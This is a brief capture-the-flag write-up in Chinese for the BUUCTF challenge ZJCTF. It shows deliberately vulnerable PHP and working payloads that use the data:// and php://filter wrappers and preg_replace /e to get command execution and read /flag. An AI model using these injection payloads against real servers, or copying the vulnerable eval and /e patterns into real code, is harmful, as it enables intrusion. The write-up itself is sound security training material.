BUUCTF：[BJDCTF2020]ZJCTF，不过如此

https://buuoj.cn/challenges#[BJDCTF2020]ZJCTF%EF%BC%8C%E4%B8%8D%E8%BF%87%E5%A6%82%E6%AD%A4

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

/?text=data://text/pain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到next.php源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里的PHP版本是：5.6.40，preg_replace()+/e存在代码执行漏洞

PHP正则表达式的逆向引用与子模式分析：https://blog.csdn.net/qq_20408491/article/details/75095055

payload

/?text=data://text/pain,I have a dream&file=next.php&\S*=${phpinfo()}

/?text=data://text/pain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');